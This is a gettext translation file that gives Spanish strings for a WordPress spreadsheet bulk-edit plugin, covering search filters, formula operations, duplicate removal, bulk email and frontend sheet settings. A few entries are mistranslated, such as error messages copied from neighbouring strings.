msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: 